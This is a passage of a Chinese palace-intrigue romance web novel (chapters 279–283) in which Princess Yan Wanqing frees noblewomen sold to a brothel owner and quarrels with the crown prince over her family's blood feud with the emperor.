夫人在里面喝了迷药晕过去,留下他一个人在外面心惊胆战的,承受着这个年纪不该承受的痛苦。 “您就说吧,这事儿您想怎么处理,咱们就怎么处理。”王权表情诚恳,双手合十看向燕晚清。 “当真?”燕晚清挑眉。 王权赶紧顺着台阶下:“这是自然!今儿个您能让那五位大人回去,就已经说明了您心胸宽旷,不会跟小的一般见识。” “行,你先把李家大小姐的卖身契拿过来。”燕晚清淡淡的开口。 “什么卖身契?”王权愣了一下。 燕晚清冷笑:“这刚和李大人酒桌上签的字,这么快就忘记了?要本郡主帮你好好想想么?!” “这……这不用,瞧瞧小的这不中用的脑子,毕竟年纪大了,总是有些事情会忘记。”王权赶紧招呼自己身边的人:“快去取李家大小姐的卖身契来。” “等等。”燕晚清开口。 王权赶紧喊道:“等等,郡主还有事情要吩咐!” 燕晚清想了想,水眸里闪烁着沉思,缓了片刻说道:“把你今晚不是自愿进来的姑娘的卖身契都拿过来。” 王权一听,好家伙,这是要了他的命啊。 今晚那么多美人,此刻竟然是一个都要留不住了。 但今晚进来的姑娘们很多,这安平郡主一时半会儿应该也不知道谁是谁吧? 这个心思刚在脑袋里过了一遍。 就听见脑袋上拿到清丽的声音响起:“本郡主早就派人盯着你的小院儿了,今夜进来了多少人,本郡主手里可是有一份名单的。” 王权那股侥幸的心思,荡然无存。 事到如今,保命要紧。 王权催促着身边人:“都听见了吧,速去速去!不要让郡主久等了。” 那人一溜烟的跑远了。 燕晚清见王权还算是个识趣的,于是说道:“像李大人这样的人,京都估计不少,王老爷趁此发了不少财吧?” 这清一色的贵女,可比烟花巷那些贫穷出身的女子吸引人多了。 有这个噱头在,能吸引多少心里痒痒的朝臣啊。 王权面露讪色:“哪里哪里,都是小钱。” “大胆王权!”燕晚清猛地一拍桌子扶手,娇喝一声:“结党营私,以下犯上,祸害贵女,你该当何罪!” 王权吓得面色苍白,赶紧趴在地上:“郡主饶命,郡主饶命啊!” 这刚才还好好的,怎么突然又开始发脾气了。 王权苦不堪言,肥硕的身躯,像是一个蟾蜍匍匐在地上,看起来老实又卑微。 “你可知你所犯下的这些罪行,足以你死一千次的了。”燕晚清眯着眼睛,一字一句缓缓开口,她语气越慢,王权的心里就越慌乱,根本摸不清楚这个小祖宗究竟是怎么打算的。 “小的该死,只是这也不是小的一个人的错,那些签字画押的大人们也是同谋啊,他们没钱还债,就只能抵押小妾,抵押女儿,小的也就是个生意人,总不能赔本吧。”王权心里委屈极了。 说实话,若是真追究起来,他还真没有多大的罪。 那些卖身契都是白纸黑字写的清清楚楚,那些大人也是亲自签字画押了的。 买卖嘛,你情我愿的。 可是碍于这安平郡主的身份地位在这里,王权只能把委屈往肚子里咽。 燕晚清自然知道这小院儿的存在固然可恶,不过真正令人发指的还是像李大人那样的长辈丈夫! “卖身契来了!”下人一路小跑进来,气喘吁吁。 王权从他手里拿过卖身契,不多,也就五六张,他舔着个脸双膝跪在地上,送到了燕晚清最下面的一层台阶上。 红雾冷冷的看了他一眼,将卖身契接过递给了燕晚清。 此时那下人一脸要开口说话的模样,王权瞧见了:“要说就赶紧说,当着郡主有什么不方便说的。”卖身契都给出去,达官贵人也都得罪光了,还有什么不能说给燕晚清听得。 此时的王权破罐子破摔,只希望最后能够保住小院儿,不把幕后的主子牵扯出来,这事儿就算是大功一件了。 那下人指了指门口:“林家小姐也跟过来了。” “什么玩意儿?”王权愣了一下:“她来做什么?” 王权还没有想明白怎么回事,院门口就传来一声娇笑声:“王老爷这是做什么,分明答应人家,将那李家的小姐交给人家当丫鬟的,怎么又把卖身契给拿走了啊。” 燕晚清听到声音抬头。 这声音…… 只见来人一身粉红色的罗裙,香肩露在外面,在右边的肩膀上用丹青在光洁的肩头描绘了一朵初绽的荷花,栩栩如生,衬托的整个人越发明艳动人,人比花娇。 再听这声音娇媚悦耳,是个男子听了都会走不上道。 王老爷一看见她来了,登时蹙眉,有些紧张的看了看上面的燕晚清,又赶紧收回视线:“你来干什么!赶紧回去,这里是你能来的地方么!” “王老爷这是在凶人家?”那女子觉得不可思议:“不让我进来,我偏要进来!” 自从来了这个小院儿,她如鱼得水,哪怕是骄纵也是有的是人喜欢。 所以被惯坏了的她,直接大步向前走了进来。 燕晚清一看来人,嗤笑一声。 真有意思。 全都是熟人。 可不就是没落的林家大小姐林嫣然么。 林嫣然一看燕晚清,眼珠子都要从眼眶中瞪出来了:“怎么是你这个贱人——” “萧鸿深下了地牢,你就另谋出路了,看来你对他的爱,不过如此。”燕晚清毫不留情的讽刺道。 林嫣然双手攥紧,她死死的盯着台上的燕晚清:“闭嘴!轮不到你来评判我!当初如果不是你从中作梗,我又怎会混到如此田地?燕晚清你少端坐高台,少在我面前假装清高!” 萧鸿深让杀手杀她,她好不容易逃了出来,在路上遇见了王权,被收进了这小院中。 都是以色侍人,可是她再也不用胆战心惊的活着。 本来以为日子就这样过下去了,能快活几年是几年,可是没有想到燕晚清竟然再次出现在自己的面前。 王权在旁边听得胆战心惊。 他这儿的花魁竟然和安平郡主之间还有这样的恩怨情仇。 不由得心里十分后悔,当初不该捡个麻烦过来。 “你闭嘴!”想到这里,王权赶紧拽着林嫣然跪下来:“你少说话。” 林嫣然哪里肯跪,她昂着脖子盯着燕晚清冷笑:“我偏要说话,燕晚清你不会一直这么嚣张下去的,你父兄的死,就是一个开头——” 第二百七十九章 再说一个字,孤把你钉墙上 “你想死?”燕晚清抬手便是一道劲风,擦着林嫣然的脖颈过去,斩断了她些许发丝。 发丝在空中轻轻坠落,就好像是一个人无法决定的一生。 林嫣然尖叫出声:“我的头发!” 这个贱人竟然敢断了自己最喜欢的头发! 林嫣然气得面目狰狞:“我哪里说错了么?你这样的人,克父克母,自私自利,你们燕家人自诩聪明,可是到头来都是竹篮打水一场空,你父兄没了,你很快也会步他们的后尘!” 燕晚清听得双眼猩红,就在此时,一双大手直接捂住了她的耳朵。 熟悉的幽香瞬间充盈她的鼻息之间。 他怎么回来了…… 就在她还惊讶的时候,萧蘋风已经冷下脸看向林嫣然:“你再说一个字,孤就把你钉墙上。” 不等林嫣然反应,旁边的王权上手死死捂住了她的嘴。 竟然是太子殿下! 他竟然回来了! 可是为什么他与那燕晚清如此亲昵? 林嫣然满眼都是妒忌。 为什么所有的人都围着这个贱人团团转呢? 她究竟有什么好! “你要是再口不择言,老夫现在就要了你的命。”耳边王权阴狠的警告,让林嫣然缩了缩脖子。 仇人见面分外眼红,她刚刚只是看见燕晚清太过于气愤了。 一时之间忘记自己现在是什么身份,也忘记自己身处什么地方了。 此时王权的一句话,犹如一盆冷水从林嫣然的头顶上浇灌下来。 她表情冷凝住,可是心里的那团火却越烧越旺。 萧蘋风冷冷的扫了下面人一眼,见他们终于不说话了,才松开了手。 “这种人,和她废话那么多做什么,孤替你杀了她?” 燕晚清摇了摇头:“杀她易如反掌,只是我不想再造杀孽了。” 她不是个好人,可是却也不想因为自己身上的杀孽太重,影响到家里人。 萧蘋风见她眸光忧伤,心里一沉,伸出手放在了她的肩膀上:“一切都有孤。” 燕晚清弯了弯唇角,她不再看林嫣然和王权,将手里的卖身契翻开,取出了李呈祥的,看着上面的手印和签字,眸色冷了两分,将其叠好放在了自己的怀中。 剩下的几个卖身契,她交给了红雾:“拿去给这些人,是去是留,看她们自己。” “你还是太善良了。”萧蘋风开口,要是换做是他,这些闲事根本不会管,可是他的乖乖,却明知道费力不讨好,还是愿意去做。 燕晚清摇了摇头:“事不关己自然是高高挂起,只是故人所托,还是得尽心尽力,这些……举手之劳罢了。” “接下来你休息,孤替你问。”萧蘋风其实早就到了,只是一直没有露面,他觉得远远的看着他的乖乖做事情,非常享受。 如果不是这个该死的女人说些不中听的话,他估计还能再欣赏一会儿。 “你。”高贵懒散的太子殿下斜眼看向王权:“过来。” 王权不敢耽搁:“殿下有何吩咐?” “孤知道这个小院儿背后有人,老实交代吧。”他没那么多的耐心。 王权脸一阵白一阵灰:“殿下说的什么话,这小院儿就是小的开的,哪里还有什么——啊!” 他猛地嘶吼一声,下一秒整个人飞出去撞在了院子的石桌上,石桌瞬间四分五裂。 王权疼的朝外吐出了一口鲜血。 他简直不敢相信,外面温润如玉的太子爷,竟然下手这般狠绝。 “不说是么?”萧蘋风拾级而下,慢条斯理的走到了王权边上,居高临下的看着。 王权感觉自己有一瞬间已经从阎王殿走了一遭。 “孤查出来也就是时间的问题,你说与不说都一样,只是你不说的话,孤就会不高兴,不高兴,你屋子里的那些人,就都没有好日子过。”萧蘋风弯了弯唇角,极其阴冷:“要不就从你夫人开始?” 一听要动他夫人,王权忍不住了。 他刚刚还和燕晚清周旋的原因是因为他觉得自己扮苦相能够博取她的同情。 但是眼前的太子殿下就不一样了。 他就像是个杀神。 下手狠辣,根本不留余地。 他说第一个会拿他夫人下手,那么就一定会! 所以王权急了:“小的说,小的都说,求您不要对小的夫人做什么啊。” “没想到你还是个情种。”萧蘋风见状,意外的收回了想要踩着王权身上的脚。 甚至还伸出手将王权给拉了起来,给他拍了拍身上的灰尘。 “孤喜欢情种。”太子殿下这么说道。 王权不明所以,他哭丧着脸:“其实这个小院儿也就和烟花巷一样,是为了收集朝臣中的一些信息,只要贵女的原因也是为了能够拿捏这些朝臣,让他们更加忠心于朝廷……其实话说到了这里,以太子殿下和安平郡主的聪明才智,应该能够猜到这背后的主子是谁了。” 他不是不说,是说出来必定是死路一条。 “您二位都是七巧玲珑心,就不要逼着小的全部交待出来了,留小的和小的夫人还有这满院子的人一条活路吧。”真说出来,谁都活不了。 燕晚清心中本来是有猜测的,王权的话只不过是更加证明自己的猜测是准确的。 难怪这么多年皇帝不上朝,朝中波涛汹涌的情况下还能维持中庸,保持平衡,原来原因出现在这里。 燕晚清不知道这一刻心里是什么感觉。 只觉得十分可笑。 “王权,今日之后你必定没有活路了。”燕晚清看着他开口,见他满眼恐惧,她眸光坚定:“但是本郡主可以给你指一条明路,就看你敢不敢。” “敢!”王权拿得起放得下,若是能搏一搏,自然是要试试的。 他心里十分透彻。 “还望太子殿下和郡主拉小人一把!”王权跪在地上高声喊道。 萧蘋风眼中有不赞成,他转过头看向燕晚清:“晚晚。” 燕晚清眼里都是倔强,她双手捏紧,下了某种决定:“否极,带王老爷和王夫人走。” “晚晚!”萧蘋风又喊了一声,满脸惊诧。 “我一开始就想错了。”燕晚清超后退了两步:“现在我想明白了,他根本就不会悔改,既然如此,我何苦苛求那些身外之物!再怎么求,我父亲还有弟弟们都不会回来了!他们永远的留在了雁门关——” “那孤呢?”萧蘋风看着她,低低的问道。 第二百八十章 没有结果的事情,不想再徒劳 燕晚清不想当着众人说这件事情,她收敛心神,强行压制住情绪上的崩溃,表情逐渐变得冷漠起来。 气氛一下子有些死寂。 一旁沉默不语的林嫣然见状,心中舒畅了很多。 这个贱人终于和太子殿下之间有了间隙。 她就是见不得这个贱人日子过得这么顺利! 否极很快就将王权和屋内昏迷的王夫人给带走了,至于送到什么地方,只有燕晚清知道了。 随后她让李呈祥将屋内的小六喊了起来。 小六爬起来掏了掏兜,将自己的宝贝药丸拿了出来:“来来来,一人一颗,不要抢不要争,人人有份,吃完了就管住嘴,不要出去胡说八道,谁要是不听话,就不给解药哦。” 一听是毒药,有些人不愿意吃。 可耐不住满院子虎视眈眈的暗卫,不吃现在就得死。 最终还是都服下了。 林嫣然是最不愿意吃的那个,她直接哭着跪在了萧蘋风面前:“太子殿下奴婢能不能不吃那毒药,奴婢愿意跟在您的身边做牛做马,保证守口如瓶!” 萧蘋风冷冷的看了她一眼:“陪在孤的身边?” 林嫣然忙不迭点头,下巴微抬,朝着他抛了个媚眼,将自己完美的容颜暴露在太子的面前,她靠着这一套,迷倒了不少达官贵人呢。 但是太子爷先是黑眸里闪过一丝讥讽,随后冷漠的开口:“你也配。” 林嫣然瞬间面色煞白。 “不吃,孤现在就送你上路。”萧蘋风现在耐性极差。 燕晚清刚刚跟他闹别扭了。 他哪里有闲情逸致打理这种货色。 恨不得一脚一个全部踢出去,将院子只留给他们二人才好呢。 林嫣然自讨没趣,此时燕小六捏着药丸走了过来。 “还是乖乖吃药吧,别再自讨没趣了。”燕小六叹了一口气:“人得有自知之明。” 这太子爷眼里只有自家阿姐。 哪里容得下其他阿猫阿狗。 这个美娇娘真是空有一副美貌,但是没长一个脑子。 林嫣然听完面部表情更加复杂了,她恨恨的拿起燕小六手里的药丸,直接塞进了嘴里。 那药丸入口即化,苦的她差点呕出来。 燕小六啧啧两声,跳着离开。 怪恶心的,别吐她身上了! “好了好了,大家都散了吧,记住千万不要乱说话哦。”燕凌珍笑着一脸乖巧,可是谁都不敢小觑她,在他们的眼中,这就是个穿着娃娃皮的小恶魔。 “我们也走吧。”燕晚清轻轻的开口。 萧蘋风瞬间蹙眉,但是他没说话。 他以为,她至少要给自己一个解释。 但是没有。 萧蘋风周身阴沉下来,他也是有脾气的。 千里迢迢回来,面对的却是这样的燕晚清。 换做是谁,都会觉得心里膈应的很。 一棍子下去打不出一个闷屁! 萧蘋风黑眸里的冷冽几乎要将整个小院都给冻住。 见燕晚清还是头也不回的往前走。 他自我嘲讽了一声。 然后开口道:“你要跟孤走么?” 他对着旁边依依不舍不肯走的林嫣然开口道。 林嫣然不敢相信自己的耳朵:“殿下是在跟奴婢说话?” 萧蘋风双眼里只有那个不肯回头的女子,语气的怒气自己都没有察觉到:“走还是不走?” 燕晚清听见声音,身子僵了一下,停顿了住。 萧蘋风眸光闪了闪,但是很快她再次抬脚朝前走去。 这个该死的女人! 萧蘋风的心彻底阴沉下去了。 “走走走,奴婢自然是要跟着殿下走的,奴婢这就去收拾东西。”林嫣然兴高采烈的就要走。 萧蘋风直接开口:“拿什么东西?孤还能少了你用的?” 这话听在林嫣然的耳朵里更是不得了,她笑的跟朵花似的:“一切都听殿下吩咐了,奴婢一定好好服侍殿下。” “嗯。”萧蘋风面无表情的嗯了一声,然后转身朝着相反的方向去了。 …… “阿姐,太子爷带着那个林嫣然走了。”燕小六有些担心的看着自家阿姐。 燕晚清面无表情:“与我无关。” 她与他之间根本就是没有可能的。 之前是她想得太多了。 现在她不愿意放过那狗皇帝,她要他偿命,试问这种境地之下,萧蘋风还能和自己在一起么? 所以不如快刀斩乱麻。 重活一世,她根本就不配儿女情长。 燕小六看着燕晚清纤细的背影,更加担心了:“阿姐……可是太子爷看起来十分喜欢阿姐。” “我们之间注定没有结果。”没有结果的事情,她不想再去徒劳。 喜欢也好,爱也罢,最后也抵不过杀父之仇。 她根本不敢想象父亲和弟弟们要是在九泉之下,知道自己和杀死自己的主谋的儿子在一起了,会用怎样的一副目光去看待她。 越想,她的心脏就越痛。 但是即便如此,她还是扯出一抹浅笑,从怀中掏出李呈祥的卖身契:“这是你的,好好保管。” 李呈祥摇了摇头:“小女不要,小女要永远跟在郡主身边。” “你堂堂一个贵女,跟着本郡主终究是不妥的,若是你担心你父亲那边,本郡主会给你妥善处理,甚至是送你去别的地方,替你购置一方住处也是没有问题的。”燕晚清苦口婆心的说道。 李呈祥依旧摇摇头:“经过这件事之后,小女已经彻底断了念想,若是今日郡主不留下小女,小女便一头装死在这石墙上。” 她也是急了。 这人世间已经没什么东西值得她去留念了。 今夜,很多人的心境都发生了改变。 燕晚清抿了抿红唇,看着李呈祥的小脸,她最终妥协,叹了一口气:“你愿意跟着,那就跟着吧。” 她丢下这句话,朝前走去。 李呈祥愣在原地。 燕凌珍推了推她:“愣着干什么?阿姐已经同意了。” 李呈祥这才喜极而泣,重重的点了点头:“小女听见了!” 郡主终于肯要自己了! 这大概是这些时日,李呈祥听过的最好的消息了。 回到镇国府之后。 燕凌珍便去给李呈祥帮忙收拾住处。 燕晚清一个人闷在书房里,也不知道在想什么,让从歌十分担忧。 “小姐。”她轻轻的扣着门环。 “不饿,不想吃。”燕晚清想都没想说道。 从歌的声音再次传来:“宫里来信了,太后娘娘请您明日进宫一趟。” 第二百八十一章 是她推开了他,有什么资格难受 根本没有时间让燕晚清闲下来思考自己的事情。 她对着外面的从歌开口道:“我知道了。” 从歌听到她的声音充满了疲惫,于是关心的说道:“小姐,夜深了,让奴婢服侍您休憩吧。” 这没日没夜的忙,她真担心燕晚清的身体又会被拖垮。 燕晚清却直接拒绝:“再看一会儿就睡了,你先去休憩吧。” 她看了看窗户的位置,没有关牢。 蜡烛在微风下微微摇晃,周边静谧,还能听见池塘里传来的青蛙叫。 她百无聊赖的翻看着手里的四书五经,却一点都看不下去。 燕晚清怔怔的发呆,她其实很困了,但就是想再等等,具体等什么,她也不知道…… 等着等着,青蛙也不叫了。 四周归于了死寂。 她鼻尖一下子就发酸了,紧接着一滴泪水就坠落在了书上。 是她推开了他。 她有什么资格去难受。 燕晚清用手背胡乱的擦拭自己的眼角,却越擦越多。 她这样被仇恨包裹的一身,哪里配得上他的风清月朗。 希望往后就不要再有任何瓜葛了。 燕晚清趴在案前沉沉睡过去之前,脑海里还是这种想法。 一夜都是破碎的梦境。 醒过来的时候,她还趴在案前。 头疼欲裂。 窗户的位置原封不动,根本没有人来过。 燕晚清心里一紧,但是很快自我嘲讽笑出了声。 没事,这很正常,再过些时日自己就会习惯的。 “小姐,可是醒了?”从歌从外面敲门。 燕晚清嗯了一声。 从歌推门进来,见燕晚清还是穿着昨日的衣衫,愣了一下:“小姐一夜没睡?” “趴在案前睡了一觉,眼下头有些疼痛。”燕晚清实话实说。 从歌听罢紧张的上前,灵巧的双手摁在了她的脑袋上:“这样可舒缓了些?” “嗯,好多了。”燕晚清眯着眼睛说道。 头疼好了许多,只是这心口却愈发的空落落了。 “让人准备水,我想沐浴,待会儿就得进宫去了。”她轻轻的说道。 从歌看着她的神情,明显和之前不一样,但是她不敢说,只能应了声。 趁着丫鬟们备水,从歌又替燕晚清揉了一会儿额头,顺带着让人将早饭给上过来了,好说歹说才让燕晚清吃了几口。 燕晚清是没有胃口吃饭的。 “多少吃点垫垫,宫里吃饭可没有家中方便,小姐可别拿自己的身体开玩笑。”从歌跟个老妈子一样追在燕晚清的身后说道,手里还捧着一碗粥。 燕晚清没辙,只能吃了半碗,从歌这才作罢。 沐浴之后,燕晚清便直接进宫去了。 李呈祥站在亭子里,看见她出门的身影,不禁好奇的问道燕凌珍:“郡主这是去哪儿?” 燕凌珍昨夜是听到宫里来人的消息的,于是说道:“进宫。” 李呈祥双手绞着帕子,有些遗憾:“还没有好好的跟郡主道谢呢。” 听燕凌珍说,昨夜郡主可是给她好好的出了一口恶气。 李父从小院儿出来之后,又拿着钱出去逛了一圈烟花巷,花了个大半回到了家中,谁知道家里满满当当的坐着一屋子要债的人,可把他吓得三魂丢了七魄。 之前抓不到人的那些要债的直接将李父给打了一顿。 原本李父还能仗着自己是官员,让这群要债的不敢动手。 但是谁知道那群人手里竟然说他已经被撤了官职,还拿了文书给他看,上面赫然是皇后娘娘的凤印。 “那老夫的女儿也是瑶池县主,你们敢动老夫,她定会让你们求生不得求死不能!” 李父手里还有最后一张王牌。 燕晚清深知这类人肯定不会放过任何一个可以榨干价值的存在,于是早早的就告诉这群要债的,李呈媛已经死了,被倭寇所杀。 李父听完眼前一黑。 他第一个反应不是李呈媛死了自己伤心难过,而是他往后可怎么办? 伤心欲绝的他坐在了地上嚎啕大哭起来。 要债的可不管这些,抓着他又是一顿暴打,要求他还钱。 “欠债还钱,天经地义,不还钱就剁你双手双脚!” 李父知道大势已去,只能认命,掏出仅剩的钱财,可是哪里够呢。 要不到钱的这些亡命之徒,气急败坏,将李父的腿给打瘸了,又将李府之前的东西全都洗劫一空,这才放过了他,扬长而去。 李呈祥听到这些的时候,心里别提多舒畅了。 他们的父女之情,早就在那天晚上断的干干净净了。 往后她李呈祥跟李家没有任何一点关系! 燕凌珍很欣赏李呈祥能够这么快就清醒过来,按照她的理解,这些被世俗和封建压迫的女子,一般都会逆来顺受,可是李呈祥不一样,第一次是吴城南给她戴绿帽子的事情,她当机立断休夫,第二次是李父卖女求财的事情,她立马割舍父女情。 当真是不一样。 燕凌珍对她很欣赏:“李姐姐非常厉害。” 李呈祥莫名其妙的被夸了一下,小脸一红:“为何?” “活的很清醒,十分难得。”燕凌珍继续说道。 李呈祥想了想:“一开始我也想不明白,后来发现是自己不肯放过自己,换个角度看,又有谁是离不开谁的呢。” 燕凌珍叹了一口气:“真希望我阿姐也能放过自己,不要一直钻这个牛角尖。”那太子爷分明是爱惨了自家阿姐。 可是昨夜当着那么多人的面,阿姐一点面子都没给他。 这换作寻常男子都得大发雷霆,何况是那高高在上的太子爷呢? 燕凌珍是见过太子爷和自家阿姐的相处模式的,很舒服很自然,和太子爷在一起,阿姐脸上的笑容都会多了好几分,所以她很乐意看见他们俩修成正果。 只是这国仇家恨的,拦在中间。 燕凌珍心中十分明白阿姐在想什么东西。 “郡主的身上好像压着千万斤的重担。”李呈祥在旁边突然开口说道:“每次看见她,总觉得她特别累。” 分明是那样如风的人儿啊,却为何总是那般抑郁呢。 “我是真心希望郡主可以开心,想做什么就做什么。” 燕凌珍看着门口已经上了马车离开的燕晚清,目光同样充满了忧虑:“我何尝不是呢……” 可想太多,这也是阿姐和太子爷之间的事情,她们无权干预。 但是身为妹妹还是要去做点什么的。 燕凌珍缓缓起身:“李姐姐我要去个地方,你帮我跟母亲说一声,中午不回来吃了。” “你要去哪?”李呈祥疑惑的问道。 燕凌珍神秘一笑:“保密。” 她自然是要去干点大事啊! 第二百八十二章 别处小院,金屋藏娇 燕凌珍不是很喜欢坐马车。 她这么小的个子,也骑不了马。 这几日大哥外出不知去处,五姐姐上山剿匪还没回来,眼下她只能用一种最为淳朴的方式——走过去。 古代山清水秀,鸟语花香,隔几步便是如花似玉的原生态美人。 再走几步便是鲜香四溢的各色美食。 所以这一路上,燕凌珍走的手都要拿不下了。 等到了一处院门口,她用脚踢了踢门:“喂!有人嘛?” 门很快就被打开,露出一张美人脸,那美人却在看见燕凌珍的瞬间就要关门。 燕凌珍一脚踩了进去:“夹断了我的腿,我阿姐会要你的命。” 林嫣然恨恨的开门:“你来做什么!这里不欢迎你。” “欢不欢迎我不是你说了算的,我过来找太子殿下。”燕凌珍将嘴里的糖葫芦籽吐在了墙角,看的林嫣然气不打一处来。 “你们燕家人怎么都这么不要脸啊!” 燕凌珍狐疑的看着她:“要脸干什么?” 林嫣然:“……” 燕凌珍可不管她,一下子挤开她,走进了院子内,这里别有洞天,外面看起来平平无奇,走进来才发现竟然里面假山水榭应有尽有,还开满了各色各样的花朵,曲径通幽处还有一汪水池,里面养着各色肥硕的锦鲤。 可以啊,这审美! 这太子爷若是真能成了自己的姐夫,她就舔着脸把这处别院要过来。 林嫣然见她四处打量,登时下了脸:“你来到底想要干什么,太子殿下今日不在府上。” 燕凌珍没理她,抬脚朝着里面走去:“你说的话我一句都不想听。” 这太子殿下没有回到东宫,分明是不想让人知道自己回来了。 这样的他有刚跟阿姐产生了间隙,此时若是还有闲情逸致出去玩的话,还真是见鬼了。 林嫣然见这小丫头片子丝毫没有将自己放在眼里,更加来气了:“你再不停下来,我就喊人把你轰出去。” 燕凌珍一听,乐了:“这是你家?” 林嫣然理所当然:“太子殿下带我回来,而且将我带到了这处别院,就说明往后我就是这个别院的女主人了,这里自然就是我家了。” 这里又没有别的女子,只有她一个。 分明就是太子殿下想要金屋藏娇罢了。 想到这里,林嫣然小脸一红。 燕凌珍啧啧两声,摇了摇头:“说起不要脸的程度,林小姐才是当之无愧的王者,这脸皮,当初就应该让圣上给你割下来送去西凉城。” “割我脸皮做什么!”林嫣然急了。 燕凌珍坏笑:“割下来去抵挡倭寇,这可比城墙有用多了。” 这是在说自己脸皮比城墙还厚! 林嫣然这回算是听明白了,当下气得面目狰狞:“你们姐妹俩都是一个比一个能够恶心人,小小年纪不学好,你舔着脸过来找太子殿下做什么?难道是替你阿姐求情来了?” 就说那燕晚清假清高,竟然派自家妹妹过来找太子殿下,实在是有够无语的。 “你说我可以,但若是再听见你嚼我阿姐的舌根,我就把你的嘴给毒烂掉。”燕凌珍冷下脸来,巴掌大的一张娃娃脸,双眸竟然出奇的阴沉,分明不是一个孩子能够有的眼神,林嫣然竟然在里面看见了成年人的狠辣。 这燕家的人,个个都邪乎的很。 林嫣然想到这死丫头片子还会下毒,她只能咬咬牙将满肚子骂人的话都给咽了下去。 她不逞口舌之能。 眼下已经住进了太子殿下的别院,近水楼台先得月,她今晚就想办法爬上太子殿下的床榻,届时见识了她的手段之后,还不迷死他。 到时候让燕晚清哭都没地方去哭。 林嫣然心里美滋滋的想着。 燕凌珍已经丢下她,朝着走廊深处走去了。 萧蘋风正坐在水池边上喂鱼,手里捏着鱼食,一动不动的宛若一座雕像。 “再不丢下去,鱼儿们就要馋死了。”燕凌珍上前一拍他的手,手里的鱼食瞬间掉落进了水池里,很快鱼儿们便上前哄抢一空。 萧蘋风看见她:“你怎么过来了?你阿姐……”他停住了嘴。 他是想问,燕晚清来了没。 但是问出口又觉得丢面子。 燕凌珍多聪明啊,一下子就知道这傲娇的太子爷心里在想什么,她在水池边上找个干净的大石头:“我阿姐进宫了,好像是太后娘娘找她有事。” “太后?”萧蘋风微微蹙眉:“太后一直在深宫之内,找你阿姐能有什么事情。” 不过就是个表面功夫的存在,怎么还宣燕晚清进宫了呢? 萧蘋风有些想不明白。 尤其是联系到之前发生的事情,他心里莫名升起一股子烦躁起来。 燕凌珍眼中闪过得逞的笑意,她轻咳两声:“我阿姐昨日书房里的灯一宿都没有灭。” 萧蘋风故作冷漠的开口:“你跟孤说这些做什么。” “没什么,就是想起来,聊两句。”燕凌珍小大人一样,从旁边的盘子里抓起一小撮鱼食丢进了鱼池里:“小鱼鱼,吃饱饱。” “她……让你过来的?”太子爷突然开口问道。 燕凌珍想了想摇头:“不是。” “哦。”某人眼里的光亮消散了些许。 “或许,太子殿下可以跟我做笔交易。”燕凌珍来之前怎么想的不重要了,但是眼下她心里有了新的主意。 见这小娃娃脸上洋溢着明显不符合年龄的老沉笑容,萧蘋风也来了兴致。 “你要跟孤做什么交易?” “阿姐心里有结过不去,所以眼下才会故意疏远太子殿下,但是燕小六愿意自告奋勇为二位排忧解难,定然让殿下如愿抱得美人归。” “哦?”萧蘋风挑眉:“你想要什么?” “这处院子!”重要的是这一池子的胖头锦鲤,她远远的便喜欢上了,近看更是爱不释手! 萧蘋风轻笑道:“为了一处院子,就把你阿姐出卖了?” “殿下说的这话难听,谁都看得出来你们俩之间有点东西,阿姐跟你在一起很开心,我这个做妹妹的自然是希望每天都能开开心心的,眼下还能白得一处院子,岂不是皆大欢喜?”燕凌珍平拍了拍胸脯,大有你好我也好大家都好的架势。 萧蘋风一想,燕晚清向来是重视亲情,对自己的兄弟姐妹感情不一般。 若是能有这个小家伙帮忙,说不定还真能让他们重修于好。 燕晚清一夜没睡,他又何尝不是呢。 城郊的那片树林的叶子都要给他劈光了。 “哎呀!奴婢罪该万死,没有能够拦住这个丫头,请太子殿下恕罪!”林嫣然慌张跑了进来,直接跪在了亭子里。 萧蘋风动都没动,就好似这个人不存在一样。 燕凌珍做不到像他这样冷漠,回过头看向林嫣然:“我是客人。” 林嫣然目瞪口呆:“不请自来你算哪门子的客人?” 燕凌珍两手一摊看向萧蘋风:“太子殿下您说,小六是不是客人?” 萧蘋风点了点头:“之前不是,现在是。” 林嫣然本想放燕凌珍进来捣乱,因为萧蘋风的心情不是很好,她是想来看戏的,谁曾想这俩竟然还聊上了,还聊得这么融洽。 这个死丫头片子究竟和太子说什么呢? 刚刚自己来的时候,太子殿下还让她滚呢。 怎么现在这两个人十分和谐的坐在一起喂鱼呢??? 林嫣然想不通。 她现在满肚子都是对于刚刚他们之间谈话内容的好奇。 “还有就是,刚刚太子殿下答应把这处院子送给我了。”燕凌珍一肚子坏水,看着林嫣然笑嘻嘻的说道。 第二百八十三章 既然是交易,就得有来有回 林嫣然一听这话,不敢置信的看向萧蘋风。 “殿下,她,她说的是真的吗?” 萧蘋风哪里不知道这小丫头心里在想什么。 无非是看不惯这个林嫣然,想要替自己阿姐出口气罢了。 于是他点头:“确实说过这种话。” “这怎么可以!奴婢不允许!”林嫣然勃然大怒,她立刻从地上起来:“她凭什么?这处院子凭什么给她?!” 燕凌珍歪着脑袋很天真:“凭我喜欢。” 四个字将林嫣然气得捶胸顿足。 她知道自己不能在萧蘋风面前发脾气,只能狠狠的掐了一下自己的大腿:“殿下~您不能这样,不能把这处院子给她,您给了她,奴婢住哪儿啊。” 萧蘋风不落痕迹的错开几分,躲过林嫣然扑过来的手,满脸都是冷意。 “孤的院子,想给谁就给谁。” 话是这么讲,但是林嫣然心里就是不舒服。 这燕家的姐妹真是不要脸透了! 但是眼下她还没有如此蠢笨到要直接惹怒萧蘋风的地步,于是她委屈巴巴的坐到一边:“好吧,殿下的院子,想给谁都是可以的,是奴婢不懂事了,殿下不要不开心,奴婢会着急的。” 等到今天晚上,木已成舟之后,她倒要看看这个燕家姐妹往后拿什么跟她争! 太子殿下对人是冷漠,可是他对自己人特别大方。 林嫣然正是看中了这一点,才坚信自己晚上一定要扑倒太子殿下。 见林嫣然不再作妖,萧蘋风松了一口气,不然他真的会忍不住把这个女子踹下池子。 燕凌珍目的达到了,也不想留在这里看那林嫣然的脸,好看是好看,可全都是粉尘,煞白煞白的,白天见了都觉得瘆得慌,一点都不符合她健康美人的审美了。 “那小六就告辞啦,太子殿下不要忘记跟小六的约定哦。”燕凌珍说道,另外她掏出一颗药丢给林嫣然:“差点忘记了,这是今日份的解药。” 到时候不吃解药,死在她的院子里,那可真就是晦气了。 燕凌珍刚走没多久,林嫣然就发现太子爷也丢了。 气得她在院子里直跺脚。 …… 宫内。 “已经是第二壶茶了,太后娘娘还不打算告知,今日请安平过来所为何事么?”燕晚清将杯盏轻轻放在了案几上,目光淡然的看向太后。 太后慢吞吞的抬手,给她捏肩捶背的两个丫鬟站在了一边。 